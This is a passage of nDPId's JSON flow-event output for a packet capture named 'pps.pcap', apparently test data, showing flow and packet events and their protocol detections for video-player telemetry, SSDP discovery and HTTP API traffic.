+01464{"flow_id":74,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1128,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353172,"pkt_ts_usec":450172,"pkt_caplen":839,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":839,"pkt_l4_len":805,"pkt":"ABxCjnAxTF4M6gNlCABFAAM59KBAADkGeaEXKYWjwKhzCABQxUTR80FiXp79f1AYA7JdXgAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IEFwYWNoZQ0KRVRhZzogIjM2ZGFiMGNkZDA1ODVlZmNmMjhlYjY3NzRhZWVlOTJhOjE0NjY3OTc4MTQiDQpMYXN0LU1vZGlmaWVkOiBGcmksIDI0IEp1biAyMDE2IDE5OjUwOjE0IEdNVA0KRGF0ZTogRnJpLCAwMSBKdWwgMjAxNiAwNjowNjoxMSBHTVQNCkNvbnRlbnQtTGVuZ3RoOiA1MzMNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vcGtpeC1jcmwNCg0KMIICETCB+jANBgkqhkiG9w0BAQUFADCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUXDTE2MDYyMzAwMDAwMFoXDTE2MDkzMDIzNTk1OVowDQYJKoZIhvcNAQEFBQADggEBAEI97eVcH1DiB1\/0Bno6J+K8HusVe3cUvr5+fyScH1zXRcf7c5djWYgN+SuML4v70NdV\/FuJwb2d1nTAPxF1qboQaHggi98zdzXj8RwrHgS5mm8yRgjh5Xn7nIaC171csZuQguJ7tmZuJ7r76UMkne0JyJ14wsSf90xX+g\/a\/dFyP90Y6ni5xSPgpc8d3Zgw\/EfU0UQm\/T+f09jhD1\/1X6BOBM7pQUZMpb0wu+RThkQxkoU7zdqSaSWoF1RKiDChBGCnoysqx+p1d9U16eVsZvZ0VQEVpSaXicfzrXu+tMxjeZnFuPSglD2NZ6ZxRQtvm2pR35dtCeWkmxI8I6zBG3M="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1129,"source":"pps.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":1467353172912,"flow_last_seen":0,"flow_tot_l4_data_len":912,"flow_min_l4_data_len":912,"flow_max_l4_data_len":912,"flow_avg_l4_data_len":912,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.236","src_port":50501,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01602{"flow_id":75,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1129,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353172,"pkt_ts_usec":912736,"pkt_caplen":946,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":946,"pkt_l4_len":912,"pkt":"TF4M6gNlABxCjnAxCABFAAOkIBFAAIAGyjnAqHMIymwO7MVFAFDpA4X9\/kkVyVAYQTfM+gAAR0VUIC9jcDIuZ2lmP2E9NGUzYWU0MTVhNTg0NzQ4YWM5YWEzMTYyOGYzOWQxZTgmYWk9JmFzPTE6NDU6MjN8NDUmYXY9NC4xMC4wMDQmYj0xODA5MzIzMDEmYz0zMSZjdD01MDAwMDAwOTIzNDQ3JmQ9MjE3NSZkaT0mZHA9NzEwMDAwMDEmZT1jNDg4OWU2NGFkOWQ5ZWViOWZmNDM4OTEwODUwYzQ0MiZlYz0mZW09JmZpPSZnPTAmbD1NVEU0TGpFMk15NDRMamt3Jm1rPSZudz0mb2Q9NTAwMDAwMDg1NDkzNCZvaT0mcD1hJnBwPSZyYz0mcmQ9JnJpPSZzPTE0NjczNTMxNzIwNTEmc2g9JnNxPSZzdz0mdD0xcSZ1PTBfYWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4mdj00Nzk1MzEwMDAmdnY9NS4yLjE1LjIyNDAmeD0meT1xY18xMDAwMDFfMTAwMTQwIEhUVFAvMS4xDQpBY2NlcHQtTGFuZ3VhZ2U6IHpoLUNODQpSZWZlcmVyOiBodHRwOi8vd3d3LmlxaXlpLmNvbS9jb21tb24vZmxhc2hwbGF5ZXIvMjAxNDA5MjQvTWFpblBsYXllcl81XzJfM19jM18yXzFfNi5zd2YNCnF5aWQ6IGFhb2VmZHRxZ2ZkZXB4YzJ0bnYzcGl1Y2djYjRlb2ZuDQpxeXBpZDogXzIwMTINCnF5cGxhdGZvcm06IDAtMg0KeC1mbGFzaC12ZXJzaW9uOiAxMiwwLDAsNzANCkFjY2VwdDogKi8qDQpQcmFnbWE6IG5vLWNhY2hlDQpDYWNoZS1Db250cm9sOiBuby1jYWNoZQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgOC4wOyBXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNC4wOyBTTENDMjsgLk5FVCBDTFIgMi4wLjUwNzI3OyAuTkVUIENMUiAzLjUuMzA3Mjk7IC5ORVQgQ0xSIDMuMC4zMDcyOTsgTWVkaWEgQ2VudGVyIFBDIDYuMCkvUVktUGxheWVyLVdpbmRvd3MvMi4wLjEwMg0KSG9zdDogbXNnLjcxLmFtDQoNCg=="} +01162{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1129,"source":"pps.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":1467353172912,"flow_last_seen":0,"flow_tot_l4_data_len":912,"flow_min_l4_data_len":912,"flow_max_l4_data_len":912,"flow_avg_l4_data_len":912,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.236","src_port":50501,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"msg.71.am","url":"msg.71.am\/cp2.gif?a=4e3ae415a584748ac9aa31628f39d1e8&ai=&as=1:45:23|45&av=4.10.004&b=180932301&c=31&ct=5000000923447&d=2175&di=&dp=71000001&e=c4889e64ad9d9eeb9ff438910850c442&ec=&em=&fi=&g=0&l=MTE4LjE2My44Ljkw&mk=&nw=&od=5000000854934&oi=&p=a&pp=&rc=&rd=&ri=&s=1467353172051&sh=&sq=&sw=&t=1q&u=0_aaoefdtqgfdepxc2tnv3piucgcb4eofn&v=479531000&vv=5.2.15.2240&x=&y=qc_100001_100140","code":0,"content_type":"","user_agent":"Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\/QY-Player-Windows\/2.0.102"}} +00604{"flow_id":75,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1130,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353173,"pkt_ts_usec":18400,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ABxCjnAxTF4M6gNlCABFAAC5BZNAADMGNKPKbA7swKhzCABQxUX+SRXJ6QOJeVAYACCXCgAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuOC4wDQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA2OjEyIEdNVA0KQ29udGVudC1UeXBlOiBpbWFnZS9naWYNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1131,"source":"pps.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_first_seen":1467353179045,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.38","dst_ip":"239.255.255.250","src_port":58897,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00577{"flow_id":76,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1131,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353179,"pkt_ts_usec":45522,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6cBiLE+IdCABFAAChI6EAAAER3+LAqAUm7\/\/\/+uYRB2wAjbWjTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1131,"source":"pps.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_first_seen":1467353179045,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.38","dst_ip":"239.255.255.250","src_port":58897,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +01602{"flow_id":75,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1132,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353180,"pkt_ts_usec":202498,"pkt_caplen":947,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":947,"pkt_l4_len":913,"pkt":"TF4M6gNlABxCjnAxCABFAAOlJdtAAIAGxG7AqHMIymwO7MVFAFDpA4l5\/kkWWlAYQRLiXwAAR0VUIC9jcDIuZ2lmP2E9NGUzYWU0MTVhNTg0NzQ4YWM5YWEzMTYyOGYzOWQxZTgmYWk9JmFzPTE6NDU6MjN8NDUmYXY9NC4xMC4wMDQmYj0xODA5MzIzMDEmYz0zMSZjdD01MDAwMDAwOTIzNDQ3JmQ9MjE3NSZkaT0mZHA9NzEwMDAwMDEmZT1jNDg4OWU2NGFkOWQ5ZWViOWZmNDM4OTEwODUwYzQ0MiZlYz0mZW09JmZpPSZnPTAmbD1NVEU0TGpFMk15NDRMamt3Jm1rPSZudz0mb2Q9NTAwMDAwMDg1NDkzNCZvaT0mcD1hJnBwPSZyYz0mcmQ9JnJpPSZzPTE0NjczNTMxODAwNTImc2g9JnNxPSZzdz0mdD1taWQmdT0wX2Fhb2VmZHRxZ2ZkZXB4YzJ0bnYzcGl1Y2djYjRlb2ZuJnY9NDc5NTMxMDAwJnZ2PTUuMi4xNS4yMjQwJng9Jnk9cWNfMTAwMDAxXzEwMDE0MCBIVFRQLzEuMQ0KQWNjZXB0LUxhbmd1YWdlOiB6aC1DTg0KUmVmZXJlcjogaHR0cDovL3d3dy5pcWl5aS5jb20vY29tbW9uL2ZsYXNocGxheWVyLzIwMTQwOTI0L01haW5QbGF5ZXJfNV8yXzNfYzNfMl8xXzYuc3dmDQpxeWlkOiBhYW9lZmR0cWdmZGVweGMydG52M3BpdWNnY2I0ZW9mbg0KcXlwaWQ6IF8yMDEyDQpxeXBsYXRmb3JtOiAwLTINCngtZmxhc2gtdmVyc2lvbjogMTIsMCwwLDcwDQpBY2NlcHQ6ICovKg0KUHJhZ21hOiBuby1jYWNoZQ0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDguMDsgV2luZG93cyBOVCA2LjE7IFdPVzY0OyBUcmlkZW50LzQuMDsgU0xDQzI7IC5ORVQgQ0xSIDIuMC41MDcyNzsgLk5FVCBDTFIgMy41LjMwNzI5OyAuTkVUIENMUiAzLjAuMzA3Mjk7IE1lZGlhIENlbnRlciBQQyA2LjApL1FZLVBsYXllci1XaW5kb3dzLzIuMC4xMDINCkhvc3Q6IG1zZy43MS5hbQ0KDQo="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1133,"source":"pps.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":1467353180357,"flow_last_seen":0,"flow_tot_l4_data_len":913,"flow_min_l4_data_len":913,"flow_max_l4_data_len":913,"flow_avg_l4_data_len":913,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.236","src_port":50502,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01601{"flow_id":77,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1133,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353180,"pkt_ts_usec":357764,"pkt_caplen":947,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":947,"pkt_l4_len":913,"pkt":"TF4M6gNlABxCjnAxCABFAAOlJglAAIAGxEDAqHMIymwO7MVGAFChhpBHZLD+y1AYQTfUEAAAR0VUIC9jcDIuZ2lmP2E9NGUzYWU0MTVhNTg0NzQ4YWM5YWEzMTYyOGYzOWQxZTgmYWk9JmFzPTE6NDU6MjN8NDUmYXY9NC4xMC4wMDQmYj0xODA5MzIzMDEmYz0zMSZjdD01MDAwMDAwOTIzNDQ3JmQ9MjE3NSZkaT0mZHA9NzEwMDAwMDEmZT1jNDg4OWU2NGFkOWQ5ZWViOWZmNDM4OTEwODUwYzQ0MiZlYz0mZW09JmZpPSZnPTAmbD1NVEU0TGpFMk15NDRMamt3Jm1rPSZudz0mb2Q9NTAwMDAwMDg1NDkzNCZvaT0mcD1hJnBwPSZyYz0mcmQ9JnJpPSZzPTE0NjczNTMxODAwNTImc2g9JnNxPSZzdz0mdD1taWQmdT0wX2Fhb2VmZHRxZ2ZkZXB4YzJ0bnYzcGl1Y2djYjRlb2ZuJnY9NDc5NTMxMDAwJnZ2PTUuMi4xNS4yMjQwJng9Jnk9cWNfMTAwMDAxXzEwMDE0MCBIVFRQLzEuMQ0KQWNjZXB0LUxhbmd1YWdlOiB6aC1DTg0KUmVmZXJlcjogaHR0cDovL3d3dy5pcWl5aS5jb20vY29tbW9uL2ZsYXNocGxheWVyLzIwMTQwOTI0L01haW5QbGF5ZXJfNV8yXzNfYzNfMl8xXzYuc3dmDQpxeWlkOiBhYW9lZmR0cWdmZGVweGMydG52M3BpdWNnY2I0ZW9mbg0KcXlwaWQ6IF8yMDEyDQpxeXBsYXRmb3JtOiAwLTINCngtZmxhc2gtdmVyc2lvbjogMTIsMCwwLDcwDQpBY2NlcHQ6ICovKg0KUHJhZ21hOiBuby1jYWNoZQ0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDguMDsgV2luZG93cyBOVCA2LjE7IFdPVzY0OyBUcmlkZW50LzQuMDsgU0xDQzI7IC5ORVQgQ0xSIDIuMC41MDcyNzsgLk5FVCBDTFIgMy41LjMwNzI5OyAuTkVUIENMUiAzLjAuMzA3Mjk7IE1lZGlhIENlbnRlciBQQyA2LjApL1FZLVBsYXllci1XaW5kb3dzLzIuMC4xMDINCkhvc3Q6IG1zZy43MS5hbQ0KDQo="} +01163{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1133,"source":"pps.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":1467353180357,"flow_last_seen":0,"flow_tot_l4_data_len":913,"flow_min_l4_data_len":913,"flow_max_l4_data_len":913,"flow_avg_l4_data_len":913,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.236","src_port":50502,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"msg.71.am","url":"msg.71.am\/cp2.gif?a=4e3ae415a584748ac9aa31628f39d1e8&ai=&as=1:45:23|45&av=4.10.004&b=180932301&c=31&ct=5000000923447&d=2175&di=&dp=71000001&e=c4889e64ad9d9eeb9ff438910850c442&ec=&em=&fi=&g=0&l=MTE4LjE2My44Ljkw&mk=&nw=&od=5000000854934&oi=&p=a&pp=&rc=&rd=&ri=&s=1467353180052&sh=&sq=&sw=&t=mid&u=0_aaoefdtqgfdepxc2tnv3piucgcb4eofn&v=479531000&vv=5.2.15.2240&x=&y=qc_100001_100140","code":0,"content_type":"","user_agent":"Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\/QY-Player-Windows\/2.0.102"}} +00605{"flow_id":77,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1134,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353180,"pkt_ts_usec":443128,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ABxCjnAxTF4M6gNlCABFAAC501VAADMGZuDKbA7swKhzCABQxUZksP7LoYaTxFAYACF90QAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuOC4wDQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA2OjE5IEdNVA0KQ29udGVudC1UeXBlOiBpbWFnZS9naWYNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1135,"source":"pps.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":1,"flow_first_seen":1467353180830,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.50","dst_ip":"239.255.255.250","src_port":52529,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00582{"flow_id":78,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1135,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353180,"pkt_ts_usec":830424,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6uKxv2MGbCABFAAClNUgAAAQRyyvAqAUy7\/\/\/+s0xB2wAkYI7TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1135,"source":"pps.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":1,"flow_first_seen":1467353180830,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.50","dst_ip":"239.255.255.250","src_port":52529,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1136,"source":"pps.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":1,"flow_first_seen":1467353181295,"flow_last_seen":0,"flow_tot_l4_data_len":297,"flow_min_l4_data_len":297,"flow_max_l4_data_len":297,"flow_avg_l4_data_len":297,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.5.15","dst_ip":"68.233.253.133","src_port":65128,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00782{"flow_id":79,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1136,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353181,"pkt_ts_usec":295295,"pkt_caplen":331,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":331,"pkt_l4_len":297,"pkt":"TF4M6gNlKDc3Alz6CABFAAE99F1AAEAGPTfAqAUPROn9hf5oAFDPYUlYxJOK\/oAYEBX74gAAAQEICiYb7H8rI43TR0VUIC9jb21NYWdpY2FuQXBpL2NvbXBvc2l0ZS9hcHAucGhwL0dsb2JhbC9JbmRleC9pcCBIVFRQLzEuMQ0KSG9zdDogYXBpLm1hZ2ljYW5zb2Z0LmNvbQ0KQWNjZXB0OiAqLyoNCkFjY2VwdC1MYW5ndWFnZTogemgtdHcNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KVXNlci1BZ2VudDogTWFnaWNhbiAodW5rbm93biB2ZXJzaW9uKSBDRk5ldHdvcmsvNzIwLjUuNyBEYXJ3aW4vMTQuNS4wICh4ODZfNjQpDQoNCg=="} +00740{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1136,"source":"pps.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":1,"flow_first_seen":1467353181295,"flow_last_seen":0,"flow_tot_l4_data_len":297,"flow_min_l4_data_len":297,"flow_max_l4_data_len":297,"flow_avg_l4_data_len":297,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.5.15","dst_ip":"68.233.253.133","src_port":65128,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"api.magicansoft.com","url":"api.magicansoft.com\/comMagicanApi\/composite\/app.php\/Global\/Index\/ip","code":0,"content_type":"","user_agent":"Magican (unknown version) CFNetwork\/720.5.7 Darwin\/14.5.0 (x86_64)"}} +00859{"flow_id":79,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1137,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353181,"pkt_ts_usec":515378,"pkt_caplen":390,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":390,"pkt_l4_len":356,"pkt":"KDc3Alz6TF4M6gNlCABFAAF4BFJAADUGOAhE6f2FwKgFDwBQ\/mjEk4r+z2FKYYAYABs0tgAAAQEICisjjrEmG+x\/SFRUUC8xLjEgNTAyIEJhZCBHYXRld2F5DQpTZXJ2ZXI6IE1TZXJ2ZXIgMS4yLjINCkRhdGU6IEZyaSwgMDEgSnVsIDIwMTYgMDU6NDY6NDcgR01UDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KQ29udGVudC1MZW5ndGg6IDE2Ng0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo8aHRtbD4NCjxoZWFkPjx0aXRsZT41MDIgQmFkIEdhdGV3YXk8L3RpdGxlPjwvaGVhZD4NCjxib2R5IGJnY29sb3I9IndoaXRlIj4NCjxjZW50ZXI+PGgxPjUwMiBCYWQgR2F0ZXdheTwvaDE+PC9jZW50ZXI+DQo8aHI+PGNlbnRlcj5uZ2lueDwvY2VudGVyPg0KPC9ib2R5Pg0KPC9odG1sPg0K"} +00577{"flow_id":76,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1138,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353182,"pkt_ts_usec":46716,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6cBiLE+IdCABFAAChI6IAAAER3+HAqAUm7\/\/\/+uYRB2wAjbWjTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00582{"flow_id":78,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1139,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353183,"pkt_ts_usec":830773,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6uKxv2MGbCABFAAClNUkAAAQRyyrAqAUy7\/\/\/+s0xB2wAkYI7TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00577{"flow_id":76,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1140,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353185,"pkt_ts_usec":47598,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6cBiLE+IdCABFAAChI6MAAAER3+DAqAUm7\/\/\/+uYRB2wAjbWjTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1141,"source":"pps.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":1,"flow_first_seen":1467353185940,"flow_last_seen":0,"flow_tot_l4_data_len":649,"flow_min_l4_data_len":649,"flow_max_l4_data_len":649,"flow_avg_l4_data_len":649,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.219","src_port":50503,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01249{"flow_id":80,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1141,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353185,"pkt_ts_usec":940061,"pkt_caplen":683,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":683,"pkt_l4_len":649,"pkt":"TF4M6gNlABxCjnAxCABFAAKdKslAAIAGwJnAqHMIymwO28VHAFCsEt6EcxJBblAYAQR7YQAAR0VUIC9jb3JlP3Q9MiZjaGlwaWQ9SW50ZWwlMjhSJTI5JTIwQ29yZSUyOFRNJTI5JTIwaTUlMkQyNTU3TSUyMENQVSUyMCU0MCUyMDElMkU3MEdIeiZ0bT0zMCZyYT0xJmlzaGNkbj0yJnBmPTIwMSZwPTExJnAxPTExNCZwMj0zMDAwJnNka3RwPTEmYzE9NiZyPTUwMDQ5NDYwMCZhaWQ9NTAyOTU5OTAwJnU9YWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4mcHU9Jm9zPXdpbmRvd3Mmdj01JTJFMiUyRTE1JTJFMjI0MCZrcnY9MiUyRTAlMkUxMDImZHQ9Jmh1PS0xJnJuPTE0NjczNTMxODUmaXNsb2NhbD0wJmFzPWQxOWY2NDA0N2I2NDFjZDZmZjA5NmIwNGZiMmEzMGI1JnZlPTNjYzBjOGZhMzcyNjI1ZTY0MTQzMTQ0ODE2ZjNlOTY4JnBlPWM5NWQ5OTJlMjk4NTZkYzg0ZjJlOTkwN2EyZTRiMjgyJnZmcm09JmNobD0maGNkbnY9MTAuMC4wLjI5MyZ0cGNkPTAmaXNkcm09MSZodD0wIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBRWS1QbGF5ZXItV2luZG93cy8yLjAuMTAyDQpIb3N0OiBtc2cuNzEuYW0NCkFjY2VwdDogKi8qD